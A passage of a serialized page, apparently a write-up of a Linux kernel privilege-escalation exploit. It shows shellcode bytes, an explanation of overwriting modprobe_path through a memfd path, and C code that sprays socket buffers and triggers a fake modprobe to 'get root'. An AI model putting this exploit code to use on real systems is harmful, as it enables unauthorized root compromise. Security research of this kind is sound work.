,{"type":24,"tag":83,"props":59222,"children":59223},{"class":85,"line":440},[59224,59228,59232,59236,59241,59245,59249,59254,59258,59262,59267,59271,59275,59279],{"type":24,"tag":83,"props":59225,"children":59226},{"style":101},[59227],{"type":29,"value":58884},{"type":24,"tag":83,"props":59229,"children":59230},{"style":107},[59231],{"type":29,"value":58826},{"type":24,"tag":83,"props":59233,"children":59234},{"style":143},[59235],{"type":29,"value":4126},{"type":24,"tag":83,"props":59237,"children":59238},{"style":245},[59239],{"type":29,"value":59240}," 0x2a",{"type":24,"tag":83,"props":59242,"children":59243},{"style":107},[59244],{"type":29,"value":568},{"type":24,"tag":83,"props":59246,"children":59247},{"style":187},[59248],{"type":29,"value":19800},{"type":24,"tag":83,"props":59250,"children":59251},{"style":48092},[59252],{"type":29,"value":59253},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":83,"props":59255,"children":59256},{"style":187},[59257],{"type":29,"value":19800},{"type":24,"tag":83,"props":59259,"children":59260},{"style":107},[59261],{"type":29,"value":568},{"type":24,"tag":83,"props":59263,"children":59264},{"style":245},[59265],{"type":29,"value":59266},"24",{"type":24,"tag":83,"props":59268,"children":59269},{"style":107},[59270],{"type":29,"value":633},{"type":24,"tag":83,"props":59272,"children":59273},{"style":143},[59274],{"type":29,"value":8320},{"type":24,"tag":83,"props":59276,"children":59277},{"style":245},[59278],{"type":29,"value":248},{"type":24,"tag":83,"props":59280,"children":59281},{"style":143},[59282],{"type":29,"value":1425},{"type":24,"tag":83,"props":59284,"children":59285},{"class":85,"line":449},[59286,59290,59294,59298,59303,59307,59311,59316,59320,59324,59329,59333,59337,59341],{"type":24,"tag":83,"props":59287,"children":59288},{"style":101},[59289],{"type":29,"value":58884},{"type":24,"tag":83,"props":59291,"children":59292},{"style":107},[59293],{"type":29,"value":58826},{"type":24,"tag":83,"props":59295,"children":59296},{"style":143},[59297],{"type":29,"value":4126},{"type":24,"tag":83,"props":59299,"children":59300},{"style":245},[59301],{"type":29,"value":59302}," 0x45",{"type":24,"tag":83,"props":59304,"children":59305},{"style":107},[59306],{"type":29,"value":568},{"type":24,"tag":83,"props":59308,"children":59309},{"style":187},[59310],{"type":29,"value":19800},{"type":24,"tag":83,"props":59312,"children":59313},{"style":48092},[59314],{"type":29,"value":59315},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":83,"props":59317,"children":59318},{"style":187},[59319],{"type":29,"value":19800},{"type":24,"tag":83,"props":59321,"children":59322},{"style":107},[59323],{"type":29,"value":568},{"type":24,"tag":83,"props":59325,"children":59326},{"style":245},[59327],{"type":29,"value":59328},"15",{"type":24,"tag":83,"props":59330,"children":59331},{"style":107},[59332],{"type":29,"value":633},{"type":24,"tag":83,"props":59334,"children":59335},{"style":143},[59336],{"type":29,"value":8320},{"type":24,"tag":83,"props":59338,"children":59339},{"style":245},[59340],{"type":29,"value":248},{"type":24,"tag":83,"props":59342,"children":59343},{"style":143},[59344],{"type":29,"value":1425},{"type":24,"tag":83,"props":59346,"children":59347},{"class":85,"line":458},[59348,59352,59356,59360,59365,59369,59373,59378,59382,59386,59390,59394,59398,59402],{"type":24,"tag":83,"props":59349,"children":59350},{"style":101},[59351],{"type":29,"value":58884},{"type":24,"tag":83,"props":59353,"children":59354},{"style":107},[59355],{"type":29,"value":58826},{"type":24,"tag":83,"props":59357,"children":59358},{"style":143},[59359],{"type":29,"value":4126},{"type":24,"tag":83,"props":59361,"children":59362},{"style":245},[59363],{"type":29,"value":59364}," 0x55",{"type":24,"tag":83,"props":59366,"children":59367},{"style":107},[59368],{"type":29,"value":568},{"type":24,"tag":83,"props":59370,"children":59371},{"style":187},[59372],{"type":29,"value":19800},{"type":24,"tag":83,"props":59374,"children":59375},{"style":48092},[59376],{"type":29,"value":59377},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":83,"props":59379,"children":59380},{"style":187},[59381],{"type":29,"value":19800},{"type":24,"tag":83,"props":59383,"children":59384},{"style":107},[59385],{"type":29,"value":568},{"type":24,"tag":83,"props":59387,"children":59388},{"style":245},[59389],{"type":29,"value":3819},{"type":24,"tag":83,"props":59391,"children":59392},{"style":107},[59393],{"type":29,"value":633},{"type":24,"tag":83,"props":59395,"children":59396},{"style":143},[59397],{"type":29,"value":8320},{"type":24,"tag":83,"props":59399,"children":59400},{"style":245},[59401],{"type":29,"value":248},{"type":24,"tag":83,"props":59403,"children":59404},{"style":143},[59405],{"type":29,"value":1425},{"type":24,"tag":83,"props":59407,"children":59408},{"class":85,"line":1065},[59409,59413,59417,59421,59426,59430,59434,59439,59443,59447,59451,59455,59459,59463],{"type":24,"tag":83,"props":59410,"children":59411},{"style":101},[59412],{"type":29,"value":58884},{"type":24,"tag":83,"props":59414,"children":59415},{"style":107},[59416],{"type":29,"value":58826},{"type":24,"tag":83,"props":59418,"children":59419},{"style":143},[59420],{"type":29,"value":4126},{"type":24,"tag":83,"props":59422,"children":59423},{"style":245},[59424],{"type":29,"value":59425}," 0x61",{"type":24,"tag":83,"props":59427,"children":59428},{"style":107},[59429],{"type":29,"value":568},{"type":24,"tag":83,"props":59431,"children":59432},{"style":187},[59433],{"type":29,"value":19800},{"type":24,"tag":83,"props":59435,"children":59436},{"style":48092},[59437],{"type":29,"value":59438},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":83,"props":59440,"children":59441},{"style":187},[59442],{"type":29,"value":19800},{"type":24,"tag":83,"props":59444,"children":59445},{"style":107},[59446],{"type":29,"value":568},{"type":24,"tag":83,"props":59448,"children":59449},{"style":245},[59450],{"type":29,"value":17845},{"type":24,"tag":83,"props":59452,"children":59453},{"style":107},[59454],{"type":29,"value":633},{"type":24,"tag":83,"props":59456,"children":59457},{"style":143},[59458],{"type":29,"value":8320},{"type":24,"tag":83,"props":59460,"children":59461},{"style":245},[59462],{"type":29,"value":248},{"type":24,"tag":83,"props":59464,"children":59465},{"style":143},[59466],{"type":29,"value":1425},{"type":24,"tag":83,"props":59468,"children":59469},{"class":85,"line":1668},[59470,59474,59478,59482,59487,59491,59495,59500,59504,59508,59512,59516,59520,59524],{"type":24,"tag":83,"props":59471,"children":59472},{"style":101},[59473],{"type":29,"value":58884},{"type":24,"tag":83,"props":59475,"children":59476},{"style":107},[59477],{"type":29,"value":58826},{"type":24,"tag":83,"props":59479,"children":59480},{"style":143},[59481],{"type":29,"value":4126},{"type":24,"tag":83,"props":59483,"children":59484},{"style":245},[59485],{"type":29,"value":59486}," 0x6a",{"type":24,"tag":83,"props":59488,"children":59489},{"style":107},[59490],{"type":29,"value":568},{"type":24,"tag":83,"props":59492,"children":59493},{"style":187},[59494],{"type":29,"value":19800},{"type":24,"tag":83,"props":59496,"children":59497},{"style":48092},[59498],{"type":29,"value":59499},"\\x48\\xc7\\xc6",{"type":24,"tag":83,"props":59501,"children":59502},{"style":187},[59503],{"type":29,"value":19800},{"type":24,"tag":83,"props":59505,"children":59506},{"style":107},[59507],{"type":29,"value":568},{"type":24,"tag":83,"props":59509,"children":59510},{"style":245},[59511],{"type":29,"value":17032},{"type":24,"tag":83,"props":59513,"children":59514},{"style":107},[59515],{"type":29,"value":633},{"type":24,"tag":83,"props":59517,"children":59518},{"style":143},[59519],{"type":29,"value":8320},{"type":24,"tag":83,"props":59521,"children":59522},{"style":245},[59523],{"type":29,"value":248},{"type":24,"tag":83,"props":59525,"children":59526},{"style":143},[59527],{"type":29,"value":1425},{"type":24,"tag":83,"props":59529,"children":59530},{"class":85,"line":1713},[59531,59535,59539,59543,59548,59552,59556,59561,59565,59569,59573,59577,59581,59585],{"type":24,"tag":83,"props":59532,"children":59533},{"style":101},[59534],{"type":29,"value":58884},{"type":24,"tag":83,"props":59536,"children":59537},{"style":107},[59538],{"type":29,"value":58826},{"type":24,"tag":83,"props":59540,"children":59541},{"style":143},[59542],{"type":29,"value":4126},{"type":24,"tag":83,"props":59544,"children":59545},{"style":245},[59546],{"type":29,"value":59547}," 0x71",{"type":24,"tag":83,"props":59549,"children":59550},{"style":107},[59551],{"type":29,"value":568},{"type":24,"tag":83,"props":59553,"children":59554},{"style":187},[59555],{"type":29,"value":19800},{"type":24,"tag":83,"props":59557,"children":59558},{"style":48092},[59559],{"type":29,"value":59560},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":83,"props":59562,"children":59563},{"style":187},[59564],{"type":29,"value":19800},{"type":24,"tag":83,"props":59566,"children":59567},{"style":107},[59568],{"type":29,"value":568},{"type":24,"tag":83,"props":59570,"children":59571},{"style":245},[59572],{"type":29,"value":18157},{"type":24,"tag":83,"props":59574,"children":59575},{"style":107},[59576],{"type":29,"value":633},{"type":24,"tag":83,"props":59578,"children":59579},{"style":143},[59580],{"type":29,"value":8320},{"type":24,"tag":83,"props":59582,"children":59583},{"style":245},[59584],{"type":29,"value":248},{"type":24,"tag":83,"props":59586,"children":59587},{"style":143},[59588],{"type":29,"value":1425},{"type":24,"tag":83,"props":59590,"children":59591},{"class":85,"line":1730},[59592,59596,59600,59604,59609,59613,59617,59622,59626,59630,59634,59638,59642,59646],{"type":24,"tag":83,"props":59593,"children":59594},{"style":101},[59595],{"type":29,"value":58884},{"type":24,"tag":83,"props":59597,"children":59598},{"style":107},[59599],{"type":29,"value":58826},{"type":24,"tag":83,"props":59601,"children":59602},{"style":143},[59603],{"type":29,"value":4126},{"type":24,"tag":83,"props":59605,"children":59606},{"style":245},[59607],{"type":29,"value":59608}," 0x78",{"type":24,"tag":83,"props":59610,"children":59611},{"style":107},[59612],{"type":29,"value":568},{"type":24,"tag":83,"props":59614,"children":59615},{"style":187},[59616],{"type":29,"value":19800},{"type":24,"tag":83,"props":59618,"children":59619},{"style":48092},[59620],{"type":29,"value":59621},"\\xff\\xe0",{"type":24,"tag":83,"props":59623,"children":59624},{"style":187},[59625],{"type":29,"value":19800},{"type":24,"tag":83,"props":59627,"children":59628},{"style":107},[59629],{"type":29,"value":568},{"type":24,"tag":83,"props":59631,"children":59632},{"style":245},[59633],{"type":29,"value":2867},{"type":24,"tag":83,"props":59635,"children":59636},{"style":107},[59637],{"type":29,"value":633},{"type":24,"tag":83,"props":59639,"children":59640},{"style":143},[59641],{"type":29,"value":8320},{"type":24,"tag":83,"props":59643,"children":59644},{"style":245},[59645],{"type":29,"value":248},{"type":24,"tag":83,"props":59647,"children":59648},{"style":107},[59649],{"type":29,"value":2905},{"type":24,"tag":83,"props":59651,"children":59652},{"class":85,"line":1770},[59653,59657,59661],{"type":24,"tag":83,"props":59654,"children":59655},{"style":117},[59656],{"type":29,"value":15482},{"type":24,"tag":83,"props":59658,"children":59659},{"style":90},[59660],{"type":29,"value":12215},{"type":24,"tag":83,"props":59662,"children":59663},{"style":107},[59664],{"type":29,"value":321},{"type":24,"tag":83,"props":59666,"children":59667},{"class":85,"line":1778},[59668],{"type":24,"tag":83,"props":59669,"children":59670},{"emptyLinePlaceholder":16},[59671],{"type":29,"value":3422},{"type":24,"tag":83,"props":59673,"children":59674},{"class":85,"line":1803},[59675,59679,59683],{"type":24,"tag":83,"props":59676,"children":59677},{"style":117},[59678],{"type":29,"value":16725},{"type":24,"tag":83,"props":59680,"children":59681},{"style":90},[59682],{"type":29,"value":8803},{"type":24,"tag":83,"props":59684,"children":59685},{"style":107},[59686],{"type":29,"value":321},{"type":24,"tag":83,"props":59688,"children":59689},{"class":85,"line":1811},[59690],{"type":24,"tag":83,"props":59691,"children":59692},{"style":107},[59693],{"type":29,"value":464},{"type":24,"tag":83,"props":59695,"children":59696},{"class":85,"line":8792},[59697],{"type":24,"tag":83,"props":59698,"children":59699},{"style":107},[59700],{"type":29,"value":10065},{"type":24,"tag":1818,"props":59702,"children":59704},{"id":59703},"overwriting-modprobe_path",[59705,59707],{"type":29,"value":59706},"Overwriting ",{"type":24,"tag":32,"props":59708,"children":59710},{"className":59709},[],[59711],{"type":29,"value":58092},{"type":24,"tag":25,"props":59713,"children":59714},{},[59715,59717,59723],{"type":29,"value":59716},"Finding the ",{"type":24,"tag":32,"props":59718,"children":59720},{"className":59719},[],[59721],{"type":29,"value":59722},"/sbin/modprobe",{"type":29,"value":59724}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":24,"tag":25,"props":59726,"children":59727},{},[59728,59730,59736],{"type":29,"value":59729},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":32,"props":59731,"children":59733},{"className":59732},[],[59734],{"type":29,"value":59735},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":59737}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":73,"props":59739,"children":59741},{"className":28861,"code":59740,"language":28863,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[59742],{"type":24,"tag":32,"props":59743,"children":59744},{"__ignoreMap":7},[59745,59752,59774,59782,59789,59797,59805,59813,59821,59828,59836,59843,59881,59892,59899,59906,59913,59940,59971,59978,60000,60013,60020,60078,60085,60113,60120,60127,60148,60155,60176,60187,60194,60201,60222,60229,60257,60270,60277,60284,60333,60340,60408,60415,60436,60456,60463,60470,60477,60497],{"type":24,"tag":83,"props":59746,"children":59747},{"class":85,"line":86},[59748],{"type":24,"tag":83,"props":59749,"children":59750},{"style":107},[59751],{"type":29,"value":10065},{"type":24,"tag":83,"props":59753,"children":59754},{"class":85,"line":113},[59755,59760,59765,59770],{"type":24,"tag":83,"props":59756,"children":59757},{"style":107},[59758],{"type":29,"value":59759},"    puts(\"[*] ",{"type":24,"tag":83,"props":59761,"children":59762},{"style":3163},[59763],{"type":29,"value":59764},"overwrite",{"type":24,"tag":83,"props":59766,"children":59767},{"style":3163},[59768],{"type":29,"value":59769}," modprobe_path",{"type":24,"tag":83,"props":59771,"children":59772},{"style":187},[59773],{"type":29,"value":56005},{"type":24,"tag":83,"props":59775,"children":59776},{"class":85,"line":128},[59777],{"type":24,"tag":83,"props":59778,"children":59779},{"style":187},[59780],{"type":29,"value":59781},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":24,"tag":83,"props":59783,"children":59784},{"class":85,"line":183},[59785],{"type":24,"tag":83,"props":59786,"children":59787},{"style":187},[59788],{"type":29,"value":28938},{"type":24,"tag":83,"props":59790,"children":59791},{"class":85,"line":203},[59792],{"type":24,"tag":83,"props":59793,"children":59794},{"style":187},[59795],{"type":29,"value":59796},"        pipebuf->page = modprobe_page;\n",{"type":24,"tag":83,"props":59798,"children":59799},{"class":85,"line":212},[59800],{"type":24,"tag":83,"props":59801,"children":59802},{"style":187},[59803],{"type":29,"value":59804},"        pipebuf->offset = modprobe_off;\n",{"type":24,"tag":83,"props":59806,"children":59807},{"class":85,"line":256},[59808],{"type":24,"tag":83,"props":59809,"children":59810},{"style":187},[59811],{"type":29,"value":59812},"        pipebuf->len = 0;\n",{"type":24,"tag":83,"props":59814,"children":59815},{"class":85,"line":270},[59816],{"type":24,"tag":83,"props":59817,"children":59818},{"style":187},[59819],{"type":29,"value":59820},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":83,"props":59822,"children":59823},{"class":85,"line":302},[59824],{"type":24,"tag":83,"props":59825,"children":59826},{"style":187},[59827],{"type":29,"value":31400},{"type":24,"tag":83,"props":59829,"children":59830},{"class":85,"line":324},[59831],{"type":24,"tag":83,"props":59832,"children":59833},{"style":187},[59834],{"type":29,"value":59835},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":83,"props":59837,"children":59838},{"class":85,"line":345},[59839],{"type":24,"tag":83,"props":59840,"children":59841},{"style":187},[59842],{"type":29,"value":31436},{"type":24,"tag":83,"props":59844,"children":59845},{"class":85,"line":358},[59846,59851,59855,59859,59863,59868,59872,59876],{"type":24,"tag":83,"props":59847,"children":59848},{"style":187},[59849],{"type":29,"value":59850},"                perror(\"",{"type":24,"tag":83,"props":59852,"children":59853},{"style":107},[59854],{"type":29,"value":1161},{"type":24,"tag":83,"props":59856,"children":59857},{"style":143},[59858],{"type":29,"value":4072},{"type":24,"tag":83,"props":59860,"children":59861},{"style":107},[59862],{"type":29,"value":1270},{"type":24,"tag":83,"props":59864,"children":59865},{"style":3163},[59866],{"type":29,"value":59867},"write",{"type":24,"tag":83,"props":59869,"children":59870},{"style":107},[59871],{"type":29,"value":558},{"type":24,"tag":83,"props":59873,"children":59874},{"style":3163},[59875],{"type":29,"value":41654},{"type":24,"tag":83,"props":59877,"children":59878},{"style":107},[59879],{"type":29,"value":59880},")\");\n",{"type":24,"tag":83,"props":59882,"children":59883},{"class":85,"line":367},[59884,59888],{"type":24,"tag":83,"props":59885,"children":59886},{"style":117},[59887],{"type":29,"value":58674},{"type":24,"tag":83,"props":59889,"children":59890},{"style":107},[59891],{"type":29,"value":321},{"type":24,"tag":83,"props":59893,"children":59894},{"class":85,"line":406},[59895],{"type":24,"tag":83,"props":59896,"children":59897},{"style":107},[59898],{"type":29,"value":58599},{"type":24,"tag":83,"props":59900,"children":59901},{"class":85,"line":427},[59902],{"type":24,"tag":83,"props":59903,"children":59904},{"style":107},[59905],{"type":29,"value":3092},{"type":24,"tag":83,"props":59907,"children":59908},{"class":85,"line":440},[59909],{"type":24,"tag":83,"props":59910,"children":59911},{"emptyLinePlaceholder":16},[59912],{"type":29,"value":3422},{"type":24,"tag":83,"props":59914,"children":59915},{"class":85,"line":449},[59916,59920,59924,59928,59932,59936],{"type":24,"tag":83,"props":59917,"children":59918},{"style":101},[59919],{"type":29,"value":54330},{"type":24,"tag":83,"props":59921,"children":59922},{"style":107},[59923],{"type":29,"value":558},{"type":24,"tag":83,"props":59925,"children":59926},{"style":143},[59927],{"type":29,"value":2853},{"type":24,"tag":83,"props":59929,"children":59930},{"style":107},[59931],{"type":29,"value":58485},{"type":24,"tag":83,"props":59933,"children":59934},{"style":245},[59935],{"type":29,"value":1166},{"type":24,"tag":83,"props":59937,"children":59938},{"style":107},[59939],{"type":29,"value":58494},{"type":24,"tag":83,"props":59941,"children":59942},{"class":85,"line":458},[59943,59947,59952,59956,59961,59966],{"type":24,"tag":83,"props":59944,"children":59945},{"style":101},[59946],{"type":29,"value":55031},{"type":24,"tag":83,"props":59948,"children":59949},{"style":107},[59950],{"type":29,"value":59951},"(fd_path, ",{"type":24,"tag":83,"props":59953,"children":59954},{"style":90},[59955],{"type":29,"value":55041},{"type":24,"tag":83,"props":59957,"children":59958},{"style":107},[59959],{"type":29,"value":59960},"(fd_path), ",{"type":24,"tag":83,"props":59962,"children":59963},{"style":187},[59964],{"type":29,"value":59965},"\"/proc/%i/fd/%i\"",{"type":24,"tag":83,"props":59967,"children":59968},{"style":107},[59969],{"type":29,"value":59970},", i, modprobe_fd);\n",{"type":24,"tag":83,"props":59972,"children":59973},{"class":85,"line":1065},[59974],{"type":24,"tag":83,"props":59975,"children":59976},{"emptyLinePlaceholder":16},[59977],{"type":29,"value":3422},{"type":24,"tag":83,"props":59979,"children":59980},{"class":85,"line":1668},[59981,59986,59991,59995],{"type":24,"tag":83,"props":59982,"children":59983},{"style":101},[59984],{"type":29,"value":59985},"        lseek",{"type":24,"tag":83,"props":59987,"children":59988},{"style":107},[59989],{"type":29,"value":59990},"(modprobe_fd, ",{"type":24,"tag":83,"props":59992,"children":59993},{"style":245},[59994],{"type":29,"value":1166},{"type":24,"tag":83,"props":59996,"children":59997},{"style":107},[59998],{"type":29,"value":59999},", SEEK_SET);\n",{"type":24,"tag":83,"props":60001,"children":60002},{"class":85,"line":1713},[60003,60008],{"type":24,"tag":83,"props":60004,"children":60005},{"style":101},[60006],{"type":29,"value":60007},"        dprintf",{"type":24,"tag":83,"props":60009,"children":60010},{"style":107},[60011],{"type":29,"value":60012},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":24,"tag":83,"props":60014,"children":60015},{"class":85,"line":1730},[60016],{"type":24,"tag":83,"props":60017,"children":60018},{"emptyLinePlaceholder":16},[60019],{"type":29,"value":3422},{"type":24,"tag":83,"props":60021,"children":60022},{"class":85,"line":1770},[60023,60027,60031,60035,60039,60043,60048,60052,60057,60062,60066,60070,60074],{"type":24,"tag":83,"props":60024,"children":60025},{"style":117},[60026],{"type":29,"value":3018},{"type":24,"tag":83,"props":60028,"children":60029},{"style":107},[60030],{"type":29,"value":223},{"type":24,"tag":83,"props":60032,"children":60033},{"style":101},[60034],{"type":29,"value":59867},{"type":24,"tag":83,"props":60036,"children":60037},{"style":107},[60038],{"type":29,"value":558},{"type":24,"tag":83,"props":60040,"children":60041},{"style":137},[60042],{"type":29,"value":58538},{"type":24,"tag":83,"props":60044,"children":60045},{"style":107},[60046],{"type":29,"value":60047},"[pipe_idx][",{"type":24,"tag":83,"props":60049,"children":60050},{"style":245},[60051],{"type":29,"value":3756},{"type":24,"tag":83,"props":60053,"children":60054},{"style":107},[60055],{"type":29,"value":60056},"], fd_path, ",{"type":24,"tag":83,"props":60058,"children":60059},{"style":245},[60060],{"type":29,"value":60061},"32",{"type":24,"tag":83,"props":60063,"children":60064},{"style":107},[60065],{"type":29,"value":633},{"type":24,"tag":83,"props":60067,"children":60068},{"style":143},[60069],{"type":29,"value":5552},{"type":24,"tag":83,"props":60071,"children":60072},{"style":245},[60073],{"type":29,"value":248},{"type":24,"tag":83,"props":60075,"children":60076},{"style":107},[60077],{"type":29,"value":2905},{"type":24,"tag":83,"props":60079,"children":60080},{"class":85,"line":1778},[60081],{"type":24,"tag":83,"props":60082,"children":60083},{"style":107},[60084],{"type":29,"value":31400},{"type":24,"tag":83,"props":60086,"children":60087},{"class":85,"line":1803},[60088,60092,60096,60100,60104,60109],{"type":24,"tag":83,"props":60089,"children":60090},{"style":101},[60091],{"type":29,"value":57611},{"type":24,"tag":83,"props":60093,"children":60094},{"style":107},[60095],{"type":29,"value":558},{"type":24,"tag":83,"props":60097,"children":60098},{"style":187},[60099],{"type":29,"value":19800},{"type":24,"tag":83,"props":60101,"children":60102},{"style":48092},[60103],{"type":29,"value":48095},{"type":24,"tag":83,"props":60105,"children":60106},{"style":187},[60107],{"type":29,"value":60108},"[-] write(pipe)\"",{"type":24,"tag":83,"props":60110,"children":60111},{"style":107},[60112],{"type":29,"value":581},{"type":24,"tag":83,"props":60114,"children":60115},{"class":85,"line":1811},[60116],{"type":24,"tag":83,"props":60117,"children":60118},{"style":107},[60119],{"type":29,"value":3092},{"type":24,"tag":83,"props":60121,"children":60122},{"class":85,"line":8792},[60123],{"type":24,"tag":83,"props":60124,"children":60125},{"emptyLinePlaceholder":16},[60126],{"type":29,"value":3422},{"type":24,"tag":83,"props":60128,"children":60129},{"class":85,"line":8810},[60130,60134,60138,60143],{"type":24,"tag":83,"props":60131,"children":60132},{"style":117},[60133],{"type":29,"value":3018},{"type":24,"tag":83,"props":60135,"children":60136},{"style":107},[60137],{"type":29,"value":223},{"type":24,"tag":83,"props":60139,"children":60140},{"style":101},[60141],{"type":29,"value":60142},"check_modprobe",{"type":24,"tag":83,"props":60144,"children":60145},{"style":107},[60146],{"type":29,"value":60147},"(fd_path))\n",{"type":24,"tag":83,"props":60149,"children":60150},{"class":85,"line":8855},[60151],{"type":24,"tag":83,"props":60152,"children":60153},{"style":107},[60154],{"type":29,"value":31400},{"type":24,"tag":83,"props":60156,"children":60157},{"class":85,"line":8961},[60158,60163,60167,60172],{"type":24,"tag":83,"props":60159,"children":60160},{"style":101},[60161],{"type":29,"value":60162},"            puts",{"type":24,"tag":83,"props":60164,"children":60165},{"style":107},[60166],{"type":29,"value":558},{"type":24,"tag":83,"props":60168,"children":60169},{"style":187},[60170],{"type":29,"value":60171},"\"[-] failed to overwrite modprobe\"",{"type":24,"tag":83,"props":60173,"children":60174},{"style":107},[60175],{"type":29,"value":581},{"type":24,"tag":83,"props":60177,"children":60178},{"class":85,"line":23248},[60179,60183],{"type":24,"tag":83,"props":60180,"children":60181},{"style":117},[60182],{"type":29,"value":3044},{"type":24,"tag":83,"props":60184,"children":60185},{"style":107},[60186],{"type":29,"value":321},{"type":24,"tag":83,"props":60188,"children":60189},{"class":85,"line":23283},[60190],{"type":24,"tag":83,"props":60191,"children":60192},{"style":107},[60193],{"type":29,"value":3092},{"type":24,"tag":83,"props":60195,"children":60196},{"class":85,"line":23291},[60197],{"type":24,"tag":83,"props":60198,"children":60199},{"emptyLinePlaceholder":16},[60200],{"type":29,"value":3422},{"type":24,"tag":83,"props":60202,"children":60203},{"class":85,"line":23299},[60204,60208,60212,60217],{"type":24,"tag":83,"props":60205,"children":60206},{"style":117},[60207],{"type":29,"value":3018},{"type":24,"tag":83,"props":60209,"children":60210},{"style":107},[60211],{"type":29,"value":223},{"type":24,"tag":83,"props":60213,"children":60214},{"style":101},[60215],{"type":29,"value":60216},"trigger_modprobe",{"type":24,"tag":83,"props":60218,"children":60219},{"style":107},[60220],{"type":29,"value":60221},"(status_fd))\n",{"type":24,"tag":83,"props":60223,"children":60224},{"class":85,"line":23308},[60225],{"type":24,"tag":83,"props":60226,"children":60227},{"style":107},[60228],{"type":29,"value":31400},{"type":24,"tag":83,"props":60230,"children":60231},{"class":85,"line":23350},[60232,60236,60240,60244,60248,60253],{"type":24,"tag":83,"props":60233,"children":60234},{"style":101},[60235],{"type":29,"value":60162},{"type":24,"tag":83,"props":60237,"children":60238},{"style":107},[60239],{"type":29,"value":558},{"type":24,"tag":83,"props":60241,"children":60242},{"style":187},[60243],{"type":29,"value":19800},{"type":24,"tag":83,"props":60245,"children":60246},{"style":48092},[60247],{"type":29,"value":48095},{"type":24,"tag":83,"props":60249,"children":60250},{"style":187},[60251],{"type":29,"value":60252},"[+] got root\"",{"type":24,"tag":83,"props":60254,"children":60255},{"style":107},[60256],{"type":29,"value":581},{"type":24,"tag":83,"props":60258,"children":60259},{"class":85,"line":23383},[60260,60265],{"type":24,"tag":83,"props":60261,"children":60262},{"style":117},[60263],{"type":29,"value":60264},"            goto",{"type":24,"tag":83,"props":60266,"children":60267},{"style":107},[60268],{"type":29,"value":60269}," out;\n",{"type":24,"tag":83,"props":60271,"children":60272},{"class":85,"line":23391},[60273],{"type":24,"tag":83,"props":60274,"children":60275},{"style":107},[60276],{"type":29,"value":3092},{"type":24,"tag":83,"props":60278,"children":60279},{"class":85,"line":23399},[60280],{"type":24,"tag":83,"props":60281,"children":60282},{"emptyLinePlaceholder":16},[60283],{"type":29,"value":3422},{"type":24,"tag":83,"props":60285,"children":60286},{"class":85,"line":23408},[60287,60292,60296,60300,60304,60308,60312,60316,60320,60325,60329],{"type":24,"tag":83,"props":60288,"children":60289},{"style":117},[60290],{"type":29,"value":60291},"        for",{"type":24,"tag":83,"props":60293,"children":60294},{"style":107},[60295],{"type":29,"value":223},{"type":24,"tag":83,"props":60297,"children":60298},{"style":90},[60299],{"type":29,"value":18786},{"type":24,"tag":83,"props":60301,"children":60302},{"style":107},[60303],{"type":29,"value":54257},{"type":24,"tag":83,"props":60305,"children":60306},{"style":143},[60307],{"type":29,"value":1275},{"type":24,"tag":83,"props":60309,"children":60310},{"style":245},[60311],{"type":29,"value":248},{"type":24,"tag":83,"props":60313,"children":60314},{"style":107},[60315],{"type":29,"value":50948},{"type":24,"tag":83,"props":60317,"children":60318},{"style":143},[60319],{"type":29,"value":5552},{"type":24,"tag":83,"props":60321,"children":60322},{"style":107},[60323],{"type":29,"value":60324}," SKBUF_SPRAY; 